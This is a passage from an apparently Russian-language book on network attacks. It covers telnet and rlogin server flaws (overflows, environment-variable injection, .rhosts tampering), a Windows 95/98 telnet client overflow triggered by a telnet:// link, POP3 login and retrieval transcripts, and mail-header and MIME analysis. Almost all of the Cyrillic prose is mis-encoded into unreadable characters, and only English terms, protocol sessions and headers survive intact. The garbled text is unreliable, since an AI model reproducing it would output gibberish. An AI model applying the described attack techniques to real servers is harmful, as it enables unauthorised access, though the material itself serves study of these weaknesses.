 set ⠭ ॡ㥬  (ਬ, set LOCAL_ECHO 砥 -⮡ࠦ),   unset ᮮ⢥⢥ 뢠 (unset LOCAL_ECHO 몫砥 -⮡ࠦ).



१ <砭>



⠭ 樨 "NTLM" ਢ  ⮬,  ⥭䨪  ࢥ,  ন饣  ०,  . ஡  ⮬ ᪠   <⠪  Windows NT>. , ᫨  ࢥ  ⮤ ⥭䨪樨,  ᪫祭 NTLM 饭,  ⮩ 樨 ਢ     ࢥ.
 telnet-  ᯮ짮  ⮫쪮  ࠡ  telnet-ࢥࠬ. ஧筮 telnet-⮪  ᯮ짮 telnet-  ⢥ 㭨ᠫ쭮    ⮪,   TCP.
 ⮬ 砥 telnet- ࠥ ஫ ⨫,  㬥 ⮡ࠦ  ࠭ , ਭ  ࢥ  뫠 ࢥ ,  짮⥫.   ⮣ telnet-  ᯮ   .



⠪  telnet  rlogin -ࢥ



O  ⮩ :
O 訡 ॠ樨 telnet-ࢥ஢
O 墠 ஫, । ⮪ telnet
O  ६묨 㦥
O 䨪 䠩 rhosts
 ⮪ telnet ᯮ  ᭮  㤠 ஢, , ஬ ⮣, telnet-ࢥ  ⠭   㦥 㧫 , ਬ, ⨧.  樮 ⥬, ⠭ telnet-ࢥ  㬮砭,    ᮢᥬ  㦥. ࠭ telnet  ⠪   ,     ⠭ ꥪ⮬ ⠪ 諥.
   㣠 ணࠬ, telnet-ࢥ থ ஧ 뢠 ⥪,   믮  㤠 設   ,  ࠩ , ஢ ࢥ (<> ). ⠪, ᭮  뢥 ⥪, ஡ ᠭ   <孮 뢠 ⥪>,    ᬮ७ 梨, ࠪ   telnet.
, ⭮⥫쭠  ॠ樨 telnet-ࢥ   , 樮 ࠧ⨥,  ᯥ७ 묨 묨 ﬨ  ﬨ, ᮧ  ᫮  ⫠ , ⮬,  訡 ,   .
ਬ, InterAccess TelnetD Server 4.0, ࠡ騩  ࠢ Windows NT, 頥 ,  짮⥫  ॣ樨,   䨪஢ ࠧ,   ஫  .   諥 ᯮ ᢮   㤠 ࢥ. ࢥ BFTelnet Server v1.1 ᮤন ࠪ᪨  訡,  ᪫祭 ⮣,    諥 <> ᢮ ,  ᪠ <訢> ⥬.
㣮 ਬ: ᫨  CISCO 2621 祭 NAT (Network Address Translation) 諥, 室騩  譥 , ⠭ TCP ᮥ  ७   23 ,  ⥬ ᪨뢠 .  訡  㦨 Blue Boar, 易   , ᠢ   BlueBoar@THIEVCO.COM
訡, ᠭ ,  ਭ樯  ⠪  telnet-㦡,  㦥  㠫. ,  訡 ॠ権, ᠬ ⮪ telnet ᮤন 楯㠫 梨,    ᬮ७ .
  ᯥ䨪樨 telnet-⮪, ஢  RFC-854,  ᮤন  । ⥭䨪樨. ஫   짮⥫ 뫠  ⥪⮬ (祬  ᨬ  ०  ᨬ     ⤥ ,    㯠뢠  ப 楫, , ᪮ ᯮ  ,   ᨬ쭮 ० ஫   । ᥣ   , ஡  ⮬ ᪠   <⮪ telnet  rlogin>).
᫨  裡  饭  訢 ( ࠪ᪨ ᥣ ⠪  ),  諥, 墠⨢ , ᬮ ⠭  짮⥫  ஫. ப⥫쭠 ।  Ethernet ⥩  ⢨ ⠪ 墠  㤠,      ஧ <> DNS ࢥ    㧫,   짮⥫ ⠥ ⠭ ᮥ. ஡  ⮬ ᪠   <⠪  DNS ࢥ>,  室  ஬ ⮬ 饩 .
६ ॠ樨 telnet, , 㦥 ন ஢ ஫  ⥭䨪樨. ਬ,   Windows 2000, ন NTLM ஢, ஥ 筮 . 墠  裡   諥 ⠭ ஫ (஡  ⮬ ᪠   <⠪  Windows NT>).         ࢥ । ஢ ஫,   ⠪ ᢮   墠.
㣠 梨 砥    㫨஢ ६묨 㦥 ࢥ  ⥭䨪樨.  ⠪  㯮  RFC-1408, ⥬  RFC-1572,  ন  ᮢ६묨 telnet-ࢥࠬ. ᫨ ⠪騩    ࢥ   (ਬ,   ⠭ ftp-ࢨ, 騩  짮⥫ 稢 䠩),   ६ 㦥, ⠪,  PATH,  , ⮡   ணࠬ, ᪠ ணࠬ 諥.  ࠧ, 諥 砥 ࠢ 㤠 ᪠ ணࠬ,   㣮 짮⥫,    ⥬!
⥭ 砩,  諥  ⠭ -⥪ libc, ⠪ ࠧ, ⮡  맮  㭪権 ⨢஢    ᪨ ,  믮 㬠 ⢨,  ⥬ 㭨⮦ ஢ ⥪,  ᫥. ⥬  頫    ⠫, 㯭    ftp    telnet-ࢥ  ६ 㦥, 㪠뢠    䠩.    짮⥫ ࢥ ஢ । ணࠬ,  ᯮ짮  ⥪! 㦨 ⠪ ⠪  .  諥 믮 ,  ਢ騥  ⢨,   ⪮஢        諮!  ६  㦥 ।  頥 ,    嫠 ⠫ incoming.
  ᫥ ⮣      ⨫ 㤠 䨪 ६, ⮬,    ⢮ 㧫, 梨 । ᠭ ⠪.
ࢥ, ন騥 ⮪ rlogin, ⥫쭮  ࠭,     . 筮 ࠭ ॠ telnet, ⮪ rlogin । ஫  ⮬  (᫨ ।).     ਢ 墠⮬. ,  ⫨稥  telnet,   rlogin    ࢥ  ࠢ .  ࠭祭 㬥蠥  諥, , ࠧ㬥,  ᪫砥  ⠪.
 䠩 ".rhosts", ࠭饬  㤠 ࢥ, ᮤঠ  ७ 㧫, ⥭䨪   ॡ. ᫨ 㤠 - ࠧ ஢  䠩, ਬ, ᯮ 訡 ॠ権 㣨 ⮪ ( ⠪  ⢨⥫쭮, ன  ), 諥 ᬮ  ᥡ  ᯨ᮪ ७ 㧫    ࢥ  । ஫!
筮 ⠪, ᫨ 諥 㬥 ஭    ७ 㧫 (  ७ ७),  ⮬᪨    ࢥ.   뢠  祭 饯⨫  롮 ᢮ <㧥>    饭 ( ᮢᥬ  饭) 㧫.
 ࠧ, ⮪ telnet  rlogin 祭  饭    থ ⠪.








⠪  telnet-


O  ⮩ :
O ⠪  ⭮  Windows 95 (Windows 98)
O ᯮ짮 ANSI ࠩ  ⠪
O ⠪ rlogin   筮 
筮   ࢥ, telnet- থ ஧ 뢠 ⥪.  ⭮, telnet-, 室騩  ⠢ Windows 95, Windows 98   Windows 98 SE,  ஢  㬥⮢  ப,     䨪஢ ࠧ. 樠 ࠧ ࠭ ப  諥 믮     .
   ᯮᮡ ⠪ 砥  ࠧ饭  WEB ࠭窥 뫪 ᫥饣 : telnet://server.com/xxxxxxxx. ⮨ ⢥    誮,  㧥 ⮬᪨  telnet-, ।  㬥   ப (⮬  ⮨   祬  -       ᢮ ).
, ⢨   ⮩  訡     ,   ⠪, ᭮  來 뢥 ⥪,  ࠭ 㠫 ஧.  짮⥫  ॡ  ᪨  ࠦ ⢨, 設⢮ 室  뫪, ᮫⭮    ᮤন, ⮬ 稬 ⮩ 梨  諥 祭 .
஡  ⮬    Microsoft Security Bulletin (MS99-033) [189]. ଠ Microsoft ⨫ ⪨,  室   ࢥ.  Windows 95 : http://www.microsoft.com/windows95/downloads/contents/WUCritical/Telnet/Default.asp,   Windows 98  Windows 98 SE : http://www.microsoft.com/windows98/downloads/contents/WUCritical/Telnet/Default.asp.  10 ᥭ 1999  ⪨ 㯭  १ Windows Update.  設⢮ 짮⥫   ᢥ  ⮩ ஡       ⠭ 室 . ⮬,  ⠪   ⠥.
᫨ telnet- ࠡ⠥  ࠩ஬ ANSI, ন騬 ப,    믮     . , ⠪  砥 筮 ।. 設⢮ ANSI ନ ࠭稢 প 梥⮢  ⥫ ஢ ᨬ,    㤠  । .
 rlogin  ᨫ ᢮  筮  ᮤঠ  訡   饬 砥    ⠪.   ॠ樨  ࠭稢    .  rlogin, 稢 ᨣ 筮,   ਭ       ᫥ ⮬      ࢥ . ᫨  ࢥ 諥 ⠭ 뢠  ஬ ⢮ ᫥ ,  <㤥> । ,  ࠭    ⨢  㠫쭠      . 祬, 뢠  䠪,  設⢮ ⮢   묨  ॡ १砩 ⥫ ஬⮪ ६ ⮡ 䥪  ⠪ ⢨ ⠫ .
   ᯥ⨢,  祬   뢠 ᮡ⨩, ⥬  룫廊 ⥫쭥  ᨢ.
Het Monster. ਭ 








⮪ POP3



O  ⮩ 



O   POP3
O ᭮ 
O 堭 ⥭䨪樨
O ⪨ 堭 ⥭䨪樨
O   ᮮ饭



O ⮢ ଠ MIME



⮪ POP3 (Post Office Protocol version 3)  ࠧࠡ⠭  㤠 ࠢ ⮢묨 騪  ⠢ ᯮ樨  ࢥ-⠫쮭   .
  -  ⮬  ⢮ ⮢    﫮 ஭᪨ ࠬ,  設⢮ 㧫 ।⠢﫨 ᮡ 㣫筮 ࠡ騥 ३. ᫨  室 ࠢ 쬮, ⠭ ᮥ  ஬ ⥫,  ஬   ᮡ, ⠪ 뢠, <⮢> 䠩  뢠 ᢮ ᮮ饭   .   ६ ⥫    䠩 ।⢠ 樮 ⥬  ᬮ  ᮤন.
  ࠧ⠭  ⠪ 室 ⠭     㤮:  ⥫   ॣ㦥   ᮥ  , -  ࠧ 室  ६,    㤠 <>.  饥 設⢮ ⮢ Internet ⠢ <ᮭ> 짮⥫,     ᥡ ঠ 㣫   室     ⪮ ६. ⮬,  ᯥ樠஢ ⮢ ࢥ, 騥 ਥ   .    짮⥫  ᮥ  ⠪ ࢥ  ࠧ ਭ  㯨    ᯮ. ᬮ  ,  騥 ⮪ 﫨 ⢨ ⠪ ⢨  㤠, 室 ⠭⨧樨 饭   ࢥ஬, ਢ   , 㧪ᯥ樠஢ ⮪.
 ୮  ᥣ譨   ⮪ POP3,  ন ᪮쪮 ⥩ , ᯥ稢  樨 ࠢ ⮢ 騪  ⠢    , ४뢠     ࠡ⪥ ᪮ ணࠬ ᯥ祭.
⮪ POP3  ᪫⥫쭮 ⠢ ᯮ樨  ࢥ   ,  ࠢ   㣨 ⮪ ( ࠢ,  ⮩ 楫 ᯮ ⮪ SMTP, ᠭ   ).
   ᬠਢ 堭 ॣ樨    ࢥ, ᪮ 㦤 ⮣  室  ࠬ ⥩ ⮪ POP3.   ᫥ ᯥਬ⮢ 室  㦥 騩 ⮢ 騪, 祬, ⥫쭮 ⮩ (, ᫨ ᥬ    ,  㤮   ᫠  ᮮ饭 ᠬ ᥡ).



१ < 稭> *



⢮ ࢥ஢ ।⠢ ᯫ ⮢ ࢨ  㯮  POP3.  ᥡ ४ www.chat.ru, www.mail.ru, www.freemail.ru, www.null.ru   㣨.
  ᯥਬ⮢, ᠭ , 室   ⮢ ࢥ  telnet-⮬, ਬ, ⥬,  室  ⠢ Windows 95 (Windows 98).    ⢨, 믮 ᫥騥 蠣: ࠢ 㭪 <ࠬ>  <ନ>, ⠭  <⮡ࠦ >; ⥬ 맢  <祭>, ⨢஢ 㭪 < ⥬>  <>;   < 㧫> 㪠  ࢥ,   ॡ ⠭ ᮥ,    <>      ᨬ쭮  ⮪ "POP3".
᫨ ᯮ telnet-  ⠢ Windows 2000,  ⮢⥫ 樨  룫拉 ⠪: ⨥ 樨  "<Ctrl-]>" ॢ    ०,   "set LOCAL_ECHO" 砥 쭮 -⮡ࠦ ᨬ; 맮 "open  㧫 110" ⠭ ᮥ  ࠭ 㧫  110   ⮬᪨ ॢ   ࠡ稩 ०.
   ᫥ ᯮ㥬 䨣   쭥襬   뢠   ப, ਬ, ᫥騬 ࠧ: "telnet.exe  㧫 110".




㭮 008 祭  ⮢ ࢥ



᫨  ࢥ   㪠 ࠢ쭮,  ᠬ ࢥ  室  㡮 <㭥>, १ ஥ ६ ( ᨬ  㦥  ᪮  裡) 㤥 ⠭ TCP-ᮥ,   ࠭  ਢ⢨, ਣ饥  砫 ࠡ (ᬮ 㭮 000).
ন ਢ⢨  ஢  ப ।. , ਬ,  ਢ ਬ ࢥ ⨫    ॠ樨 ணࠬ ᯥ祭.
 ⮣  ࢥ ⮢ ਭ  짮⥫, ᫨    祭 ⥫쭮 ६    ⨢, ᮥ 㤥 ࠧࢠ ( ࣮   <룭  ⠩->).  ᥣ ६ ⢨ ࠭稢  ⠬,    ⥭ᨢ ᯮ㥬 ࢥ஢,  㬥   ⪮ ᥪ㭤!




㭮 000 ਢ⢨ ࢥ



 쭥襬,   ਢ ⥫  ࠭,   㤥 ᯮ짮 ᮤন  telnet, ।⠢  㤮⠥ ⥪⮢ ଥ.   ⠭, , ࠥ 짮⥫,  뤥 ⠪,  ⢥ ࢥ - ⠪ ⮬.
ࠧ    뤠 ਣ襭 ࢥ 室  ﭨ ⥭䨪樨 (Authorization state) -   짮⥫  ஫, 뢠饣   ⮢ 騪.  <user> 㦨  ।  짮⥫, ஥   ⤥   ஡. ਬ,   룫拉 ⠪:
 +OK QPOP (version 2.52) at mail.computerra.ru starting.



 USER ORION



 +OK Password required for user ORION
᫨ ࢥ ⢥ত 稥 㪠 짮⥫  ⥬,  ॡ ᮮ ஫.  । ஫ ।ᬮ७  "PASS".  ⫨稥   짮⥫, ஫ 室   ᮡ ॣ -  設⢥ 砥 (  ᥣ)    ᨬ ࠧ.  ਢ ਬ ⥭䨪樨 짮⥫  ॣ樮  "Orion"  ஫ "Ngc1976":
 +OK QPOP (version 2.52) at mail.computerra.ru starting.



 USER ORION



 +OK Password required for user ORION
 PASS Ngc1976
 +OK ORION's maildrop has 4 messages (789046 octets)
᫨ ࢥ ⢥ত ४⭮ ஫,  뢠   騪  ࠧ  ନ   ﭨ.  ਢ  ਬ  騪 ᮤঠ  쬠  騬 ꥬ  789 046  [190].



१ <砭>



 ॣ㧪 ࢥ  ࠧࢠ ᮥ, ᨢ 짮⥫    .
ਬ:
 -ERR Unable to service you now. Try again later. If problem persist, contact system administrator
,  - 稭 ⮢ 騪 뢠 ६ 㯥.  ਬ,  ࠧ뢥 ᮥ,   짮⥫  㤥ন   (    ਤ!)  -  祭 ⮣ ६ ⪨ 室  騪  ஢.
 砥 ᮢ ஫ ࢥ, 뤥ঠ  (।ᬮ७  ।饭 ॡ ஫), ᮮ  訡  ࠧࢥ ᮥ. ਬ,   룫拉 ⠪:
 +OK QPOP (version 2.52) at mail.computerra.ru starting.



 USER ORION



 +OK Password required for user ORION



 PASS M42



 -ERR Password supplied for "ORION" is incorrect
  ⢥ত ४⭮ ஫, ࢥ 室 , ⠪ 뢠, ﭨ ࠭樨 (Transaction state),    짮⥫  ࠢ ⮢ 騪  ⠢ ᯮ    .
 뫪 ᮮ饭 易  ⢥ ࠭祭 ⮪ POP3, ஥ ᮡ ⭮   ᯮ⮢. ६ 㢥 ᪮   ࢥ஬  ⮬, ਪ᪨ ࠧࠡ稪 ( ⮪ POP3 ࠧࠡ⠫  ) 訫 ⢮  ⮬, ⢮   ᨬ ᥬ ,   쬨.



१ <砭>



 稭 ᥬ⭮ ஢ ⮪ POP3 ꥬ ᮮ饭 ⠫ 㤮    ,   . 騩 ਬ  த஢,  祬 砥 ࠧ稥.
, । ਢ⢨ "Hello, my world!", 饥 ⭠ . ,  ᨫ १  ,   䨧᪨ 㤥 ।  ⮫쪮 16  7 = 112   112 / 8 = 14 - ୠ ⮢.
  ,   蠥     ⮦⢥ ࠢ묨  , ᫨    ꥬ ଠ樨, ।   㧫  㣮. 孨᪨ ࠬ⭮,  㤮.
᪨ 䠢   ᥬ ᯥᨬ   ९  㬥頥  ࢮ  ⠡ ASCII,  । ਫ ਢ  ⥫ ᪠ ⥪:   ᨬ 訩   १.
ਬ:
 室 ⥪:
  ਯ:  , ᫨ ᬮ
   ⥪,    ண, १ 訩 :
 X x`(/%`: /.),),%-o, %a+(a,. amp;%hl
⮬,  ᯥਬ  ⮢ 騪, ᠭ ⮩ , ஢  묨 쬠,  ᮤঠ騬   ᨬ ਫ. (ᯮ짮 樮 䠢⮢ ᮯ殮  㬭묨 ⬠,   ᠭ ᪮쪮 ).
 祭 ᯨ᪠ ᮮ饭, ࠭  ⮢ 騪, ।ᬮ७  "LIST", ਬ ᯮ짮 ன த஢ :


 +OK QPOP (version 2.52) at mail.computerra.ru starting.

 LIST

 +OK 4 messages (789046 octets)

 1 4363

 2 6078

 3 4933

 4 4644

 .




⥭ ᯮ樨 ⢫  "RETR"  㪠  ࠭ ᮮ饭.
ਬ:


 RETR 1

 +OK 1254 octets

 From www@telscope.org Mon Feb 14 22:07:48 2000

 Received: from baldrick.eia.brad.ac.uk ([143.53.48.11])

 by camel.mail.ru with esmtp (Exim 3.02 #107)

 id 12KQqZ-000AmG-00

 for KPNC@aport.ru; Mon, 14 Feb 2000 22:07:47 +0300

 Received: by baldrick.eia.brad.ac.uk (8.9.3/8.9.0) id TAA21004;

 Mon, 14 Feb 2000 19:04:23 GMT

 Date: Mon, 14 Feb 2000 19:04:23 GMT

 Message-Id: <200002141904.TAA21004@baldrick.eia.brad.ac.uk>

 To: Kris Kaspersky <KPNC@aport.RU>

 From: Bradford Robotic Telescope <eia@telscope.org>

 Errors-To: Bradford Robotic Telescope <eia@telscope.org>

 Subject: Registration

 Reply-To: eia@telscope.org



 This is an automatic message.



 Thank you for registering as a guest user with the Bradford Robotic Telescope.



 In order to verify yourself you need to go to the following URL within the next 7 days.

 If you do not go to this URL your guest user status will be removed.

 Once verified you can also enter jobs for the telescope.



 To verify yourself, use your Web browser to go to the following address:

 http://www.telescope.org/rti/exp/kpnc/6606

 Your details:

 [48] kpnc

 Email address: KPNC@ID.RU

 Institution: Desolate





 The URL for the telescope main menu: http://www.telescope.org/

 If you ever forget your password: http://www.telescope.org/rti/cpass/c.cgi

 .




⢥ ࢥ ⮨  ᫥ ⥩:


 ப 

  쬠

 ⥫ 쬠

 饩 쬮 窨




ப  㪠뢠  ᯥ譮 (ᯥ譮) 樨   ਭ 祭  "+OK",  "+ERR" ᮮ⢥⢥.
 ᫮    쬠. ६ ⮢  뢠  짮⥫    ᮤন.  ! ன  ᮤন  ᭮   ᯮᮡ 뤠 쪨 ⠩ ࠢ⥫ 쬠.
 ⮨   - 祢 ᫮  ࠬ஢, ࠧ  .    .  ନ ࠢ⥫ 쬠 (  ⮢ ⮬),   - ࢥࠬ, ࠡ뢠騬 쬮  室  ࠢ - ⠢.
    䠫䨪樨 ᮤন . ,  ⭮   ࠢ⥫   㪠뢠 㤠 㣮.  ࠧ    ᪠  ६ 뫪 쬠 (  < 뫪 ᯮ樨> ,   ⥩訩 ਯ, 㬥騩 뫠 쬠  㭨⮦  䠫䨪樥 ᥩ ଠ樨  ࠢ⥫). ⮬,     ⮢୮ ,   ⮨ 뢠  ᪨ < ࠪ> -    짮⥫ 㬥 ࠬ⭮ 뢠 .
   筮 㪠뢠  'Received', ⠢塞 ࠭묨 ࢥࠬ, 뫠騬 .  ஫ ஬ 㧫?    ⠭ ᮥ ।⢥  ⮢ ࢥ஬ ⥫? , -  ⠪   ந室,   ⮬ ⮪ ᮮ饭 諮 ᫮ 奬 뫪.  ࢥ - ࠭, ᯥ樠騥  뫪 . ஡   ᪠   <⮪ SMTP>  <⮢ ࢥ >.
ন  "Received" ந쭮    ࢥ  ࢥ.  ⮩   ଥ   㪠뢠   ࢥ஢ ࠢ襣  稢襣 쬮  ᮮ饭 ६ ࠢ - ⠢.
 ᫥騩 ࢥ  楯窥     砫 ,  ᠬ  ப ⠢ ⮢ ࢥ஬ , 稢訬 쬮.  ਢ  ਬ  룫廊 ⠪:


 Received: from baldrick.eia.brad.ac.uk ([143.53.48.11])

 by camel.mail.ru with esmtp (Exim 3.02 #107)

 id 12KQqZ-000AmG-00

 for KPNC@aport.ru; Mon, 14 Feb 2000 22:07:47 +0300




   ⠭,   ਢ ਬ, ᮮ饭 뫮 । ࢥ஬ baldrick.eia.brad.ac.uk ( ᪮ 㪠  IP ), : 㤨⥫쭮,   뫮 祭!      camel.mail.ru, ਭ饥 ୮ ᯫ⭮ 㦡 mail.ru,   ⨢஢  쬠  ࢥ mail.computerra.ru ⠭ 쬠 묨. ⭮,   ஢, - 㤠,  ࠩ ,  ப. ⢨⥫쭮, 砫쭮 쬮 ᮢ kpnc@aport.ru.  뫮 筮 ⠢ ,   mail.computerra.ru ॡᨫ   ᢮ 騪,  ᫮   ⨬ 䠪⮬  . 祬, ࢥ  ⠪   ।.


 ᯫ ⮢ 㦡 mail.ru  aport.ru  ᠬ    㦡  ࠧ !
饥 ( ᫥  楯窥)  "Received" ᮤন  ࢥ-ࠢ⥫,   ᮮ頥  ଠ樨  ᠬ ࠢ⥫. ⮬ ⮢୮ ।  뫮 ࠢ 쬮  ।⠢ .


 Received: by baldrick.eia.brad.ac.uk (8.9.3/8.9.0) id TAA21004;

 Mon, 14 Feb 2000 19:04:23 GMT




᫨ ᮡ⢥筮       "Received"  ன ଠ樥  । 쬮  baldrick.eia.brad.ac.uk,  ⥫,  ,  ᫥  <Received>, ᮤঠ  . ஡  䠫䨪樨 ᮤন  "Received" ᪠   < 뫪 ᯮ樨>.
 <Data>  ࢥ஬-ࠢ⥫ ᮮ饭,   ⮢୮  ࠭஢,  諥 ᯮᮡ । 쬮 ।⢥  ࠭   ⮢ ࢥ-ࠢ⥫.
 <Message-Id> 㦨  䨪樨 ᮮ饭,    ᥬ 뫠  㣨.  ᯥ祭 ⨢稢  䨪   㭨  ᥩ  Internet,   室 ࠭஢ ⢮ ᥣ   쬠   䨪஬.    ᮣᮢ ࠡ ⢠ 易   㣮 ࢥ஢? ࣠  , ᫥騩  뤠 䨪  ⮫쪮 ⥮᪨. , ᪮  ࢥ  㭨 IP ᮬ (, ⭥ ᥣ,  ), 筮    䨪,  㭨쭮   ࢥ ᫥⥫쭮,  ᯥ ⢥ ⠪ 樨  ᥩ . ⮬, 䨪 筮 ⮨   㧫-ࠢ⥫ ᮮ饭  㪢-᫮ ᫥⥫쭮,  ࠢ [191], 饩  ᥡ   ६ 뫪 ᮮ饭.
 ਢ ਬ ⨯筮 䨪 (쭠 㭨쭠 ᫥⥫쭮 뤥  ⮬):


 Message-Id: < 200002141904.TAA21004 @baldrick.eia.brad.ac.uk>




 "From:" ᮤন   ࠢ⥫ ᮮ饭,   ⠢ ᠬ ࠢ⥫.  ࠢ 쬠 ࢥ ஢  ᨭ⠪ ४⭮ ᮤন  "From",   ࠭  ।⠢ . ,  ਢ ਬ, ࠢ⥫ ᮧ ⫥,   室  㧫 telescope.org,   䨪 Message-Id  ⠭ ⨭  ࢥ-ࠢ⥫.


 From www@telscope.org Mon Feb 14 22:07:48 2000

:

 Message-Id: <200002141904.TAA21004@ baldrick.eia.brad.ac.uk >




    祬- ଠ, ᪮  뫪  ਥ ᮮ饭 ᪠ ᯮ짮 ࠧ ࢥ,     ६  ᮧ  䠫䨪樨  ࠢ⥫  楫 뫪 ᯮ樨  㦮 . ஡    ᮮ饭 ᪠뢠   < 뫪 ᯮ樨>.
 "To" 㪠뢠  ⥫ ᮮ饭  ⮨   ⥩ -  짮⥫   㧫 ⮢ ࢥ ⥫.  饬   룫廊 ⠪: username@servername.  ⢥  ࢥ ᪠ ᯮ짮  IP , ਬ: username@127.0.0.1
 ⠫   䠪⨢묨   ࠢ⥫ ᮮ饭  .
 쬠 ⤥    ⮩ ப  蠥 窮.  ⥩襬 砥 ⥫ ᮮ饭 ।⠢ ᮡ ⠡ ASCII ⥪,  ॡ騩 ⥫쭮 ४஢. । ᨬ ਫ   ⥫ ७,   㯨 ६ ᪠.
 ஬ ⢮ ᠬ ࠧࠧ ଠ⮢,    㤥    ᬮ७   - ᠬ    MIME-ଠ (Multipurpose Internet Mail Extensions). 饭, ஢  ଠ MIME,  룫拉 ᫥騬 ࠧ:


 From error@agama.com Fri Mar 03 23:32:48 2000

 Received: from pol-156.polaris-int.ru ([195.94.226.156] helo=mail.agama.com)

 by mx4.mail.ru with esmtp (Exim 3.02 #116)

 id 12Qvxa-0004PG-00

 for kpnc@mail.ru; Fri, 03 Mar 2000 20:33:55 +0300

 Received: from 195.94.226.130 - 195.94.226.130 by mail.agama.com with Microsoft SMTPSVC(5.5.1774.114.11);

 Fri, 3 Mar 2000 20:13:13 +0300

 Received: from agama.com ([195.94.226.130])

 by "eMedia e-mail list robot" <robot@agama.com>

 with SMTP id <D0000028149.MSG>; Fri, 3 Mar 2000 20:10:17 +0300

 Received: from [195.94.226.155] by agamaweb.agama.com (NTMail 4.01.0008/AB3703.63.3e8112ca) with ESMTP id dvmhaaaa for <emedia@agama.com>; Fri, 3 Mar 2000 20:11:07 +0300

 Message-ID: <009001bf8533$590417d0$9be25ec3@agama.com>

 From: "emedia" <listsem@agama.com>

 Date: Fri, 3 Mar 2000 20:10:17 +0300

 MIME-Version: 1.0

 Content-Type: multipart/alternative;

 boundary="--=_NextPart_000_008D_01BF854C.7E35D890"

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 X-Mailer: Microsoft Outlook Express 5.00.0810.800

 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.0810.800

 Subject: =?windows-1251?B?xOv/IMLg8Swg9+jy4PLl6/zt6Pb7?=

 Errors-To: error@agama.com

 Reply-To: " <emedia@agama.com>

 To: kpnc@mail.ru

 This is a multi-part message in MIME format.



 ____________________=_NextPart_000_008D_01BF854C.7E35D890

 Content-Type: text/plain;

 charset="windows-1251"

 Content-Transfer-Encoding: quoted-printable



 =C4=EE=F0=EE=E3=E8=E5 =F7=E8=F2=E0=F2=E5=EB=FC=ED=E8=F6=FB!=20



 =D0=E5=E4=E0=EA=F6=E8=FF =E6=F3=F0=ED=E0=EB=E0 eMedia www.emedia.ru =

 =EE=F2 =E2=F1=E5=E9 =E4=F3=F8=E8 =EF=EE=E7=E4=F0=E0=E2=EB=FF=E5=F2 =

 =C2=E0=F1 =F1 =ED=E0=F1=F2=F3=EF=E0=FE=F9=E8=EC =

 =EF=F0=E0=E7=E4=ED=E8=EA=EE=EC =E2=E5=F1=ED=FB =E8 =EB=FE=E1=E2=E8 - 8 =

 =CC=E0=F0=F2=E0.=20

 =C6=E5=EB=E0=E5=EC =C2=E0=EC =EC=EE=F0=E5 =F6=E2=E5=F2=EE=E2 =E8 =

 =F1=F7=E0=F1=F2=FC=FF =ED=E5 =F2=EE=EB=FC=EA=EE =E2 =FD=F2=EE=F2 =

 =E4=E5=ED=FC, =ED=EE =E8 =E2=EE =E2=F1=E5=E9 =C2=E0=F8=E5=E9 =

 =E6=E8=E7=ED=E8!!!

 =D7=E8=F2=E0=E9=F2=E5 =ED=E0=F8 =E6=F3=F0=ED=E0=EB, =E8 =

 =EF=F0=E5=EA=F0=E0=F1=ED=EE=E5 =E2=E5=F1=E5=ED=ED=E5=E5 =

 =ED=E0=F1=F2=F0=EE=E5=ED=E8=E5 =C2=E0=EC =EE=E1=E5=F1=EF=E5=F7=E5=ED=EE. =





 =C8=F2=E0=EA, =E2 12-=EE=EC =ED=EE=EC=E5=F0=E5:



 =CF=EE=E4=E0=F0=EA=E8 =EA 8 =EC=E0=F0=F2=E0 =F7=E5=F0=E5=E7 =

 =F2=E5=EB=E5=F4=EE=ED =E8 =EC=EE=E4=E5=EC=20



 =C3=EB=FF=E4=FF =ED=E0 =EE=E3=F0=EE=EC=ED=FB=E5 =EE=F7=E5=F0=E5=E4=E8 =

 =E2 =EC=E0=E3=E0=E7=E8=ED=E0=F5, =F2=EE=EB=EF=FB =EC=F3=E6=F7=E8=ED =F3 =

 =EF=F0=E8=EB=E0=E2=EA=EE=E2 =F1 =EF=E0=F0=F4=FE=EC=E5=F0=E8=E5=E9, =

 =ED=E5=E1=FB=E2=E0=EB=FB=E5 =F6=E5=ED=FB =ED=E0 =

 =E1=E5=E7=E4=E5=EB=F3=F8=EA=E8 =E8 =E6=E8=E2=FB=E5 =F6=E2=E5=F2=FB, =

 =E2=FB =F3=E6=E5 =E4=E0=E2=ED=EE =E4=EE=EB=E6=ED=FB =E1=FB=EB=E8 =E1=FB =

 =EF=EE=ED=FF=F2=FC, =F7=F2=EE =EE=EF=FF=F2=FC =F7=F3=F2=FC =ED=E5 =

 =E7=E0=E1=FB=EB=E8 =EF=F0=EE 8 =EC=E0=F0=F2=E0. =C4=E0=E2=E0=E9=F2=E5 =

 =EF=EE=F1=EF=E5=F8=E8=EC, - =F1 =ED=EE=E2=FB=EC=E8 =

 =F2=E5=F5=ED=EE=EB=EE=E3=E8=FF=EC=E8 =EC=FB =F2=E5=EF=E5=F0=FC =E2=F1=E5 =

 =F3=F1=EF=E5=E5=EC.

 http://www.emedia.ru/n12/8.asp=20





 =D1=CE=C1=DB=D2=C8=DF

.




 "MIME-Version: 1.0" ( ⥪  뤥  ⮬) 㪠뢠  ᯮᮡ ஢ ᮮ饭.
 ᨬ, ᯮ ࠢ   ࠢ⢠,   ⭠  ᨬ 室 ⥪.  ஢ 稫  "quoted-printable"   ப ࠭.  㤮 ⥬,  ᨬ ࢮ  ⠡ ASCII [0x0 - 0x7F] ।⠢  ᢮ ⢥ .  ࠭ ⠡쭮  ᮮ饭,  뢠 ࠩ   ஢ ਫ, -   ᨬ 室 ⥪  ६, 祣 쬮 ஢ <堥>.   ⠪ 筮   㬥蠥 ୮ ଠ MIME.
 ,   ஢ ⠪ ᮮ饭.  ⮣ ॡ  ⭠ ।, ਬ, QVIEW.    ३  ०  䠩 <ALT-F6>, 롥 < 䠩> ⨥  <F4>   , ਬ, <letter.txt>. ⥬, ࠧ ।஢  ᮤন ⨥  <F3>.  砫 ஢ 室  ᮮ⢥ ஢ (롮 ஢  QVIEW ⢫ ⨥  <F6>).  ஢, ᯮ㥬  ᠭ 쬠, ᮤন    [192].   砥  "windows-1251" ( ⥪  뤥  ⮬):


 Content-Type: text/plain;

 charset=" windows-1251 "




᫨ ⥯  ࠢ    ⭠ 祭 ᨬ,    ⠭  室 ⥪ 쬠 (ᬮ 㭮 006):




㭮 006 ஢ ᮮ饭, ।  ଠ MIME



⠫쭮 ᠭ ଠ MIME 室  ।  ,      孨᪮ 㪮⢥ RFC-1341.



१ < 稭> *



